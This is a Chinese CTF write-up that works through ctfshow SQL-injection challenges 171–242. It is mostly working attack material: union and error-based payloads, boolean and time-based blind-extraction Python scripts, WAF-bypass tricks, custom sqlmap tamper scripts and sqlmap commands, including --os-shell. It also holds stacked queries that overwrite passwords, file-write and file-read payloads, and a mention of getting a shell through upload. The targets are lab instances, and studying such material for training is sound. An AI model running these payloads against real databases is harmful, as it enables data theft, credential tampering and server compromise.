https://blog.gem-love.com/ctf/2283.html注入
171
入门开始,直接union select
database:ctfshow_web
table:ctfshow_user
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+
172
database:ctfshow_web
table:ctfshow_user2
0' union select 1,group_concat(password) from ctfshow_web.ctfshow_user2 --+
173
database:ctfshow_web
table:ctfshow_user3
0' union select 1,2,group_concat(password) from ctfshow_web.ctfshow_user3 --+
174
返回内容中不能有数字了,试试布尔注入吧
select * from tableName limit i,n
i为索引,n为数量
随便写的垃圾脚本
import requests
url="http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1= &page=1&limit=10"
for i in range(1,1000):
for j in range(45,57):
sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
tex=requests.get(url).text
if 'admin' in tex:
print(chr(j),end='')
for j in range(97,125):
sql = f"if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))={j},1,0)"
url=f"http://5d04fd50-8b1c-40fc-9f33-520ecb876ab5.challenge.ctf.show/api/v4.php?id=1'and 1={sql}--+&page=1&limit=10"
tex=requests.get(url).text
if 'admin' in tex:
print(chr(j),end='')
175
啥都没了时间盲注
import requests
url="http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1&page=1&limit=10"
for i in range(1,1000):
for j in range(45, 57):
sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
url = f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
try:
requests.get(url=url, timeout=1)
except Exception as e:
print(chr(j), end='')
for j in range(97,125):
sql = f"if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))={j},sleep(2),0)"
url=f"http://a5db8e88-69c0-425f-940a-d80b5506cf35.challenge.ctf.show/api/v5.php?id=1'and 1={sql}--+&page=1&limit=10"
try:
requests.get(url=url,timeout=1)
except Exception as e:
print(chr(j), end='')
或者试试文件读写
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+
176
过滤了union select,大小写绕过或万能密码1' or 1=1--+
database:ctfshow_web
table:ctfshow_user
0' unIon sElEct 1,2,group_concat(password) from ctfshow_web.ctfshow_user --+
177
过滤了空格,/**/即可,不能用+,url会被转成空格
0'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23
178
过滤了空格和*,制表符%09绕过
0'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23
179
%09也没了,还剩%0c
0'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
180
真没招了,看看wp,通过反引号分割,绝
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
还有
0'or(id=26)and'1'='1
181
select不见了,万能密码
0'%0cor%0cid='26
182
flag不见了,其实不影响上面的,但是还是可以尝试模糊匹配
0'%0cor%0cusername%0clike%0c'%fla%
183
使用正则表达式和布尔盲注
WHERE email REGEXP 'a'
意思是在email中匹配a的
写脚本咯
import requests
url = 'http://24a744c9-dd02-415a-b46b-68e87b328edd.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
tex = requests.post(url, data=data).text
if "$user_count = 1;" in tex:
print(j,end='')
184
RIGHT JOIN 关键字会右表 (table_name2) 那里返回所有的行,即使在左表 (table_name1) 中没有匹配的行。
SELECT column_name(s)
FROM table_name1
RIGHT JOIN table_name2
我们将匹配后的表作为右表,使用正则查询即可
ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))
import requests
url = 'http://cf6d0357-c567-4db6-9fab-5827e7d5e40d.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
for i in range(1,1000):
for j in flagstr:
data = {
'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({ord(j)})))"
}
tex = requests.post(url, data=data).text
if "$user_count = 43;" in tex:
print(j,end='')
break
记得问on是啥意思
185
过滤了数字,用true=1相加构造数字咧
import requests
url = 'http://7cdec59f-0059-4f5d-ac07-fcac41696822.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
def lo(x):
tmp="true"
for i in range(1,x):
tmp=tmp+"+true"
return tmp
for i in range(1,1000):
for j in flagstr:
data = {
'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,({lo(i)}),(true))regexp(char({lo(ord(j))})))"
}
tex = requests.post(url, data=data).text
if "$user_count = 43;" in tex:
print(j,end='')
break
186
同上,开打就完了
187
针对md5(xxx,true)
的绕过:链接
只能寻找md5
所以密码输入:ffifdyop即可
进行运算得出的结果为
‘or’6�]��!r,��b
由于or后面6为真,所以语句恒为真
188
SQL比较真真离谱
字符串当作数字处理
即当mysql中字符串与数字做比较的时候,会将字符串当作数字来比较。如123bac会当作123处理。 因此我们在查询的时候即使username=0,也会返回一些以0开头的数据。
00即可
189
空格消失法,提示flag在api/flag.php中,必然要读取文件咯
尝试用户名发现只有两种回显结果,一种是查询失败,一种是密码错误
布尔盲注走起
import requests
url = 'http://36ec0642-dfd4-460f-951d-afbf1887db2c.challenge.ctf.show/api/index.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f'if(load_file("/var/www/html/api/index.php")regexp(\'{tmp}\'),0,1)#','password': '1',}
tex = requests.post(url=url, data=data)
if "密码错误" in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
190
进行一个布尔的盲注
import requests
url = 'http://f808d3c6-5e32-4c6c-a217-16eb4cd1c842.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f"admin' and ((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}')#",'password': '1',}
tex = requests.post(url=url, data=data)
if "密码错误" in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
191
过滤了file|into|ascii上个脚本还能用
192
过滤了file|into|ascii|ord|hex继续用
193
过滤了file|into|ascii|ord|hex|substr问题不大,换left
database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://dc60958a-3c76-4425-acf9-cef85100c566.challenge.ctf.show/api/'
flagstr = r",{flqazwsxedcrvtgbyhnujmikolp-0123456789}_"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f"admin' and (left((select f1ag from ctfshow_flxg),{i})='{tmp}')#",'password': '1',}
tex = requests.post(url=url, data=data)
if "用户名不存在" not in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
194
我谢谢你啊left和right都没了
过滤了file|into|ascii|ord|hex|substr|char|left|right|substring,用like或者正则(其实用mid也行)
database:ctfshow_web
table:ctfshow_flxg
column:f1ag
import requests
url = 'http://a0589fee-511c-495e-b8c9-319e9f5cc086.challenge.ctf.show/api/'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}_,"
flag=''
for i in range(1,1000):
for j in flagstr:
tmp=flag+j
data = {'username': f"admin' and if(((select group_concat(f1ag) from ctfshow_flxg)regexp('{tmp}')),1,0)#",'password': '1',}
tex = requests.post(url=url, data=data)
if "用户名不存在" not in tex.json()['msg']:
print(j,end='')
flag=flag+j
break
195
堆叠改密码咯,查询语句中的username没有用引号包裹,所以查询的时候用十六进制转字符串
1;update`ctfshow_user`set`pass`=0x313131;
1
0x61646d696e
111
196
😅
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 11.29.32.png)
197,198
一个wp脚本
# @Author:Y4tacker
import requests
url = "http://b126bc7c-2b32-461d-9520-30d5baf7a152.chall.ctf.show/api/"
for i in range(100):
if i == 0:
data = {
'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
'varchar(255);',
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': '0x61646d696e',
'password': f'{i}'
}
r = requests.post(url, data=data)
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])
break
我选离谱方法:
# @Author:Y4tacker
# username=0;show tables;
# pass=ctfshow_user
199,200
只有离谱方法能用了
201
sqlmap使用开始
//查库
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs
//查表
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables
//查字段
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
//查值
sqlmap -u "http://212b52c9-db7a-4a4b-9b07-d23bb1989fc5.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump
202
使用POST请求,添加–data参数来设置
sqlmap -u http://84e4c090-49b9-47dd-a749-2b144bba6ff5.challenge.ctf.show/api/ --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump
203
调整请求方式,此处调整为PUT请求,记得加上Content-Type不然会变表单提交
sqlmap -u http://86418dcd-b385-474c-b132-554a8ee6a95d.challenge.ctf.show/api/index.php --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
204
加上cookie,用–cookie
sqlmap -u http://024304b8-be6a-48da-bc31-a8fcb796f2e8.challenge.ctf.show/api/index.php --cookie="UM_distinctid=17ff4d2091576a-09cf5f45e352f9-113f645d-384000-17ff4d209161689; PHPSESSID=honuvgjau5711m3j9tn84hloip; ctfshow=2e0d6ee1573392a73c0cca1476342faa" --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
205
提示api鉴权,发现请求前会先对一个url进行调用
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-10 21.53.17.png)
使用如下两个参数
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数
最终命令悄悄换表名和列名真的可恶
sqlmap -u http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/index.php --safe-url="http://685993ca-1d7f-4372-b50e-2bfc278ae33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump
206
提示SQL需要闭合,当我sqlmap傻是吧,同上即可
207
–tamper 的初体验
使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击,–tamper=TAMPER 利用给定的脚本进行篡改注入数据,该题过滤了空格,使用自带的space2comment.py即可绕过
sqlmap -u http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/index.php --safe-url="http://894488fd-6cfa-4392-aefa-61f64467a37c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --tamper="space2comment.py"
208
过滤了小写的select,但是sqlmap中所有SELECT都是大写,同上即可
sqlmap -u http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/index.php --safe-url="http://d6087ca0-43f5-417e-8fe2-b620a9fda955.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer="ctf.show" --data="id=1" --method="PUT" --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --tamper="space2comment.py"
209
过滤了空格,*和=,讲道理使用bluecoat.py就行,但是出不来,只能自己编写脚本替换了,将空格用%09替换,=用LIKE替换
sqlmap -u http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://477c2806-7230-462f-adac-0213ba40f10f.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batch --tamper web209.py
#web209.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue
retVal += payload[i]
return retVal
210
对字符串进行base64解码反转再解码,那就编码反转再编码
sqlmap -u http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://557cc437-11cc-423f-908a-43fd7aa8b33e.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --tamper web210.py
#web210.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal=retVal.encode()
retVal=retVal[::-1]
retVal=base64.b64encode(retVal)
retVal=retVal[::-1]
retVal=base64.b64encode(retVal)
return retVal.decode()
211
相比于上题多过滤了空格,加上space2commit脚本即可
sqlmap -u http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5202066d-7531-4be8-8cff-4ae5052a88a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="space2commit.py,web210.py"
212
前两个加起来
sqlmap -u http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://fea29546-5555-4d19-a7fa-63d86e7eb6b8.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --dump --batch --tamper="web209.py,web210.py"
213
一键getshell,–os-shell
sqlmap -u http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://18f74fd7-e863-4171-a825-d896a079c1f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --os-shell --dump --batch --tamper="web209.py,web210.py"
214
时间盲注开始
首页发现网络流量中有select.js,查看代码
layui.use('element', function(){
var element = layui.element;
element.on('tab(nav)', function(data){
console.log(data);
});
});
$.ajax({
url:'api/',
dataType:"json",
type:'post',
data:{
ip:returnCitySN["cip"],
debug:0
}
});
发现提交的表单中有两个变量,测试一下
![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-12 14.27.34.png)
测试成功,开始编写代码
import requests
url="http://7a5edb92-03ea-49ff-bd27-30b753229c99.challenge.ctf.show/api/"
flagchar="-{},qwertyuiopasdfghjklzxcvbnm_1234567890"
for i in range(1,1000):
for j in flagchar:
data = {
#'ip': f'1 or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagx"),{i},1))="{j}",sleep(3),1)',
'ip': f'1 or if((substr((select group_concat(flaga) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)',
'debug': '1'
}
try:
requests.post(url=url,data=data,timeout=2.5)
except:
print(j,end='')
break
215
单引号闭合
import requests
url="http://59e08013-c379-4607-a6bf-c11d5c4d6d6e.challenge.ctf.show/api/"
flagchar="-{},flagqwertyuiopsdhjkzxcvbnm_1234567890"
for i in range(1,1000):
for j in flagchar:
data = {
#'ip': f'1\' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(3),1)#',
#'ip': f'1\' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))="{j}",sleep(3),1)#',
'ip': f'1\' or if((substr((select group_concat(flagaa) from ctfshow_flagx),{i},1))="{j}",sleep(3),1)#',
'debug': '1'
}
try:
requests.post(url=url,data=data,timeout=2.5)
except:
print(j,end='')
break
216
base64编码
import requests
url="http://fe2f1a17-e483-4137-b85d-9fa3a6daaa18.challenge.ctf.show/api/"
flagchar="-{},ctfshowlagbde1234567890"
namechar=",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1,1000):
for j in flagchar:
data = {
#'ip': f'"MQ==") or if((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))="{j}",sleep(2),1)#',
#'ip': f'"MQ==") or if((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxcc"),{i},1))="{j}",sleep(2),1)#',
'ip': f'"MQ==") or if((substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1))="{j}",sleep(2),1)#',
'debug': '1'
}
try:
requests.post(url=url,data=data,timeout=1.5)
except:
print(j,end='')
break
217
sleep不能用了啦,都ctfshow害得啦,拜托,换benchmark
import requests
url = "http://e7d85700-c8a1-48c2-bea8-4ead2e0976b4.challenge.ctf.show/api/"
flagchar = "-{},ctfshowlagbde1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for i in range(1, 1000):
for j in flagchar:
data = {
#'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
#'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxccb"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
'ip': f'1) or if(((substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
'debug': '1'
}
try:
requests.post(url=url, data=data, timeout=4)
except:
print(j, end='')
break
218
benchmark也🈚️了,换笛卡尔积
import requests
url = "http://de5b41b6-9f89-4e0a-b913-7c33a143979a.challenge.ctf.show/api/"
flagchar = "-{},abcdef1234567890"
namechar = ",ctfshow_qwertyuiopasdfghjklzxcvbnm"
for k in range(10):
print()
for i in range(1, 50):
for j in flagchar:
data = {
#'ip': f'1) or if(((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.columns A,information_schema.columns B),1)#',
#'ip': f'1) or if(((substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagxc"),{i},1))=\'{j}\'),(benchmark(20000000,sha(1))),1)#',
'ip': f'1) or if(((substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))=\'{j}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
'debug': '1'
}
try:
requests.post(url=url, data=data, timeout=4)
except:
print(j,end="")
break
219
过滤了rlike,笛卡尔积依然可用,同上即可
220
sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr
真能滤,换left
import requests
url = "http://ee633dfd-4a05-4685-bbf6-1da4b5fc4d1d.challenge.ctf.show/api/"
flagchar = "ctfshow-{},abde1234567890"
namechar = "flag,ctfshow_qwertyuiopasdfghjklzxcvbnm"
flag=""
for k in range(10):
print()
flag = ""
for i in range(1, 50):
for j in flagchar:
tmp=flag+j
data = {
'ip': f'1) or if((left((select flagaabcc from ctfshow_flagxcac),{i})=\'{tmp}\'),(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.columns C),1)#',
'debug': '1'
}
try:
requests.post(url=url, data=data, timeout=4)
except:
flag=tmp
print(j,end="")
break
时间盲注,结束
221
limit注入,欢迎收看P神博客
报错注入
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
222
Group_by后面的参数来进行布尔注入
import requests
url="http://debba94a-3e3c-4b9e-97e0-27c6e7381dde.challenge.ctf.show/api/?u="
ca="ctfshow{1234567890-abcdef}"
for i in range(1,100):
for j in ca:
payload=f'if(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1)="{j}","username",cot(0))'
tex=requests.get(url+payload).text
if "username" in tex:
print(j,end="")
break;
223
过滤了数字,贴个大佬脚本
# @Author:Kradress
import requests
import string
url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"
def numToStr(str):
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({res})"
def numToStr2(num):
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({res})"
for i in range(1,46):
print(i)
for j in dict:
params={
'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"
}
r = requests.get(url, params=params)
# print(r.url)
if("ctfshow" in r.text):
result +=j
print(result)
break
224
通过文件信息的注入,这里有颖师傅的博客
但是发现这个
file()
方法可以检测图片的EXIF信息,而EXIF信息中有一个comment字段,相当于图片注释,而finfo->file()
正好能够输出这个信息,如果上面的假设成立,这就可以造成SQL注入
再到别的师傅那里去拿一个源码
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
}
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}
mysqli_close($con);
}
?>
看到filetype变量确实通过finfo取了内容,我们本地跑一下
确实输出了部分的文件信息,看群里给的payload,使用的是bin文件,构造的文件部分内容被输出
上传拿shell即可
后记:似乎这里拿到的是file命令获取的内容
225
堆叠:
prepare a from 0x十六进制语句;execute a;
226
同上
227
没查出来东西,看WP,通过查询information_schema.routines
查看存储过程和函数
存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。
存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。
存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。
就是存了已经定义好的函数,可以看到getFlag函数,也能看到flag,调用的话使用call getFlag就好
228,229,230
都是上面的
231
update开始,第一道题直接连着username一起改
password=0',username=(select group_concat(flagas) from flaga where table_schema=database())%23&username=1
232
md5问题不大,多裹个括号就行
password=0'),username=(select group_concat(flagass) from flagaa)%23&username=1
233
似乎单引号消失了,转义然后和后面username的闭合就行
password=\&username=,username=(select group_concat(flagass233) from flag233333)%23
234
单双一起,同上
password=\&username=,username=(select group_concat(flagass23s3) from flag23a)%23
235
无列名注入,看这里
password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1) as a)%23
236
多滤了个flag,没卵用
password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flaga) as a)%23
237
进入insert环节,闭合,拿数据,插入
username=1',(select group_concat(flagass23s3) from flag))%23&password=1
238
没有空格用括号
username=1',(select(group_concat(flag))from(flagb)))%23&password=1
239
又一个无列名,注不进去,也不知道哪里出问题了
240
有表名那不狠狠的爆破?
import requests
import itertools
import time
url="http://6be0cd82-3931-4919-a3e1-bfdcd72e685a.challenge.ctf.show/api/insert.php"
s='ab'
a=map(''.join, itertools.product('ab', repeat=5))
for i in a:
table='flag'+i;
data={'username':f"1',(select(flag)from({table})))#",'password':'1'}
requests.post(url,data=data)
time.sleep(0.1)
241
开始删东西了,就20条,用时间盲注吧,脚本from yu师傅
# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php"
s='0123456789abcdef-'
flag='ctfshow{'
for i in range(9,46):
print(i)
for j in s:
data={'id':f'0||if(substr((select flag from flag),{i},1)="{j}",sleep(1),0)'}
#print(data)
try:
requests.post(url,data=data,timeout=1)
except:
flag+=j
print(flag)
break
time.sleep(1)
242
进行一个文件的dump